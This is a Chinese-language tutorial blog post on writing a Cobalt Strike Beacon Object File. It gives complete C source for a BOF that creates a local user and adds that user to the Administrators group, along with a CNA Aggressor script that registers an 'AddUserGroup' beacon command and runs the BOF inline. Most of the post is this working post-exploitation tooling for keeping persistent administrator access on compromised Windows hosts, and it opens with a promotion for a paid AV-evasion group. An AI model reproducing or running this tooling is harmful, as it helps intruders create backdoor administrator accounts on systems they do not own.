CobaltStrike Bof开发(2)

admin 2024年12月26日14:51:45评论12 views字数 6506阅读21分41秒阅读模式

欢迎加入我的知识星球,目前正在更新免杀相关的东西,129/永久,每100人加29,每周更新2-3篇上千字PDF文档。文档中会详细描述。目前已更新83+ PDF文档

加好友备注(星球)!!!

CobaltStrike Bof开发(2)

一些资源的截图:

CobaltStrike Bof开发(2)

CobaltStrike Bof开发(2)

CobaltStrike Bof开发(2)

回顾

上节我们了解CobaltStrike Bof项目的构建以及常见的函数,比如如何去传递参数,判断当前线程是否是管理员权限等等。

那么我们本节课就来开始编写Bof项目。

还记的我们上节课讲的传递参数吗?我在做测试的时候发现直接使用bof去传递参数是无法成功的。

CobaltStrike Bof开发(2)

所以我们需要配合cna脚本来使用。

添加用户相关的API函数

那么我们首先来编写添加用户的Bof吧。

我们首先需要去了解两个关于添加用户的Windows API函数。

分别是NetUserAdd和NetLocalGroupAddMembers函数。

NetUserAdd

NetUserAdd函数是用于Windows操作系统上添加用户账户的函数。

函数原型如下:

NET_API_STATUS NetUserAdd(  LPCWSTR servername,  DWORD   level,  LPBYTE  buf,  LPDWORD parm_err);

servername参数指向一个指定目标计算机名的Unicode字符串,如果为NULL的话,那么就在本地计算机上执行该函数。

level指向的是信息的级别,常用的级别为1或2,他们分别对应 USER_INFO_1 和 USER_INFO_2结构。

buf参数指向一个包含用户信息的缓冲区,缓冲区的格式是由level参数来决定的。

parm_err参数指向一个返回错误索引的变量,如果此参数为空的话,并且函数返回ERROR_INVALID_PARAMETER,则无法确定那个参数无效。

如果函数执行成功的话,那么就返回NERR_Success,否则返回错误信息。

NetLocalGroupAddMembers

NetLocalGroupAddMembers函数用于将用户添加到本地组。

函数原型如下:

NET_API_STATUS NetLocalGroupAddMembers(  LPCWSTR servername,  LPCWSTR groupname,  DWORD   level,  LPBYTE  buf,  DWORD   totalentries);

servername参数指向一个指定目标计算机名的Unicode字符串,如果为NULL的话,那么就在本地计算机上执行该函数。

groupname参数指向一个包含本地组名称的Unicode字符串。

level参数指定的是信息的级别,常用的级别为0和3,他们分别对应 LOCALGROUP_MEMBERS_INFO_0 和 LOCALGROUP_MEMBERS_INFO_3 结构。

buf参数指向一个包含用户信息的缓冲区,缓冲区的格式是由level参数来决定的。

totalentries指向的是缓冲区中的成员数量。

编写Bof

那么我们接下来就开始去编写Bof了。

那么我们回顾一下,当时如果我们想去或者到NT API中的一些函数并调用的话,我们是不是通过GetModuleHandleA来获取到模块的基址,然后通过GetProcAddress函数来获取到函数的基址。

我们当时是不是还定义了目标函数的原型对吧。

那么编写Bof也是一样的,我们首先需要去定义要使用的Windows API函数的原型。

那么定义原型就非常简单了,我们只需要去参考beacon.h头文件中的定义方式即可。

如下定义NetUserAdd和NetLocalGroupAddMembers函数的原型。

typedef DWORD NET_API_STATUS;DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetUserAdd(LPWSTR, DWORD, PBYTE, PDWORD);DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetLocalGroupAddMembers(LPCWSTR, LPCWSTR, DWORD, PBYTE, DWORD);

我们来解释一下这些代码。

DECLSPEC_IMPORT宏告诉编译器函数或变量是从DLL中导入的,在这里的话NetUserAdd函数是从NETAPI32.DLL中导入的。

NET_API_STATUS是在Windows头文件中定义的typedef,他代表一个整数类型,用于API函数返回的状态,其中NT_API_STATUS通常表示与网络操作相关的成功或者失败。

NETAPI32$NetUserAdd是函数在NETAPI32.DLL中的修饰名称。

其实上面的函数的声明是在CobaltStrike中定义的,用于去调用NetUserAdd和NetLocalGroupAddMembers函数。

那么函数的原型定义完之后,我们首先去判断当前的线程是否是管理员的权限,因为我们要添加用户,需要管理员的权限。

if (!BeaconIsAdmin()) {        BeaconPrintf(CALLBACK_OUTPUT, "当前线程不是管理员的权限");        return; }

紧接着我们就需要去接收参数了,因为我们需要传递用户名和密码。

首先我们需要定义datap结构,然后通过BeaconDataParse来创建解析器。

datap parser;BeaconDataParse(&parser, args, len);
然后使用BeaconDataExtract函数来解析传递过来的参数。
wchar_t * username = (wchar_t *)BeaconDataExtract(&parser, NULL);wchar_t * password; = (wchar_t *)BeaconDataExtract(&parser, NULL);

获取到账号和密码之后就可以来进行使用了。

紧接着我们要使用NetUserAdd函数的话,我们就需要去初始化USER_INFO_1结构。

USER_INFO_1 UserInfo;UserInfo.usri1_name = username;UserInfo.usri1_password = password;UserInfo.usri1_priv = USER_PRIV_USER;UserInfo.usri1_home_dir = NULL;UserInfo.usri1_comment = NULL;UserInfo.usri1_flags = UF_SCRIPT;UserInfo.usri1_script_path = NULL;

然后就可以去调用NETAPI32$NetUserAdd函数了。

因为我们给的level参数的等级为1,所以这也就是为什么我们上面去定义USER_INFO_1结构了。

DWORD dwLevel = 1;DWORD dwError = 0;NET_API_STATUS nStatus = NETAPI32$NetUserAdd(        NULL,        dwLevel,        (LPBYTE)&UserInfo,        &dwError    );

然后我们就需要将用户添加的目标的管理员组中。

首先我们需要定义的是NetLocalGroupAddMembers的第二个参数,也就是你要添加到那个组中,一般我们会添加到administrator组中。

然后就是第三个参数也就是信息的等级,我们给定3等级即可,等级3对应的就是LOCALGROUP_MEMBERS_INFO_3结构,所以我们需要去定义LOCALGROUP_MEMBERS_INFO_3结构。

LOCALGROUP_MEMBERS_INFO_3 accountName;accountName.lgrmi3_domainandname = UserInfo.usri1_name;NET_API_STATUS aStatus;aStatus = NETAPI32$NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&accountName, 1);

这样其实就可以了。

完整代码如下:

#include <windows.h>#include <stdio.h>#include <lm.h>#include "beacon.h"typedef DWORD NET_API_STATUS;DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetUserAdd(LPWSTR, DWORD, PBYTE, PDWORD);DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetLocalGroupAddMembers(LPCWSTR, LPCWSTR, DWORD, PBYTE, DWORD);void go(char* args, int len) {    if (!BeaconIsAdmin()) {        BeaconPrintf(CALLBACK_OUTPUT, "当前线程不是管理员的权限");        return;    }    datap parser;    BeaconDataParse(&parser, args, len);    wchar_t* username = (wchar_t*)BeaconDataExtract(&parser, NULL);    wchar_t* password = (wchar_t*)BeaconDataExtract(&parser, NULL);    if (username == NULL || password == NULL) {        BeaconPrintf(CALLBACK_ERROR, "账户和密码为空n");        return;    }    BeaconPrintf(CALLBACK_OUTPUT, "username: %lsn", username);    BeaconPrintf(CALLBACK_OUTPUT, "password: %lsn", password);    USER_INFO_1 UserInfo;    UserInfo.usri1_name = username;    UserInfo.usri1_password = password;    UserInfo.usri1_priv = USER_PRIV_USER;    UserInfo.usri1_home_dir = NULL;    UserInfo.usri1_comment = NULL;    UserInfo.usri1_flags = UF_SCRIPT;    UserInfo.usri1_script_path = NULL;    DWORD dwLevel = 1;    DWORD dwError = 0;    NET_API_STATUS status = NETAPI32$NetUserAdd(        NULL,        dwLevel,        (LPBYTE)&UserInfo,        &dwError    );    if (status == NERR_Success) {        BeaconPrintf(CALLBACK_OUTPUT, "Success", username);    }    else {        BeaconPrintf(CALLBACK_OUTPUT, "Error", status);    }    LOCALGROUP_MEMBERS_INFO_3 accountName;    accountName.lgrmi3_domainandname = UserInfo.usri1_name;    NET_API_STATUS aStatus;    aStatus = NETAPI32$NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&accountName, 1);    if (aStatus == NERR_Success) {        BeaconPrintf(CALLBACK_OUTPUT, "成功将用户添加到管理员组中", NULL);    }    else {        BeaconPrintf(CALLBACK_OUTPUT, "添加管理员失败", NULL);    }}

编写cna文件

紧接着我们就需要去编写cna文件了。

之前我在b站发过一期cna文件的编写。

如下:

https://www.bilibili.com/video/BV1JU4y167KG/?spm_id_from=333.999.0.0

有空的话大家可以看一下。

首先我们需要注册一个命令,注册命令的意思就是在CobaltStrike Beacon控制台中,像shell,run这一类命令。

注册命令需要使用到beacon_command_register。

beacon_command_register(    "AddUserGroup",     "添加用户以及到管理员组中",     "Command: AddUserGroup <username> <password>");
我们在脚本管理器这里去加载即可。
CobaltStrike Bof开发(2)

紧接着我们就需要从Beacon控制台的命令行去获取到参数了。

这里的alias是定义命令的别名,也就是说当我们在Beacon命令行窗口去执行AddUserGroup命令的时候就会执行这个代码块中的代码。

alias AddUserGroup{  $username = $2;$password = $3;}
CobaltStrike Bof开发(2)

接收到参数之后我们就要开始去读取Bof文件了。

这里需要使用到script_resource函数,script_resource函数会去读取我们编写的Bof文件,然后返回一个文件句柄。

首先去声明局部变量。

local('$barch$handle$data$args');
然后调用script_resource函数来进行读取。
//获取当前系统的架构$barch  = barch($1);$handle = openf(script_resource("source. $+ $barch $+ .obj"));$data = readb($handle, -1);closef($handle);

这样的话读取的其实就是souce.x86.obj或source.x64.obj

读取之后使用bof_pack函数将用户名和密码打包成Bof函数可以理解的格式,这里的ZZ表示两个字符串参数。

$args = bof_pack($1"ZZ"$username$password);
最后使用beacon_inline_execute函数来执行Bof。
beacon_inline_execute($1$data"go"$args);

这里的$1表示回话的ID,data表示Bof的数据,go表示入口点函数名,args表示打包的参数。

完整代码如下:

beacon_command_register(    "AddUserGroup",     "添加用户以及到管理员组中",     "Command: AddUserGroup <username> <password>");alias AddUserGroup{local('$barch $handle $data $args');$username = $2;$password = $3;$barch  = barch($1);        $handle = openf(script_resource("source. $+ $barch $+ .obj"));$data = readb($handle, -1);closef($handle);$args = bof_pack($1, "ZZ", $username, $password);beacon_inline_execute($1, $data, "go", $args);}

紧接着我们将souce.x64.obj和cna文件放在同一个目录即可。

可以看到成功添加。

CobaltStrike Bof开发(2)

原文始发于微信公众号(Relay学安全):CobaltStrike Bof开发(2)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月26日14:51:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CobaltStrike Bof开发(2)https://cn-sec.com/archives/3556385.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息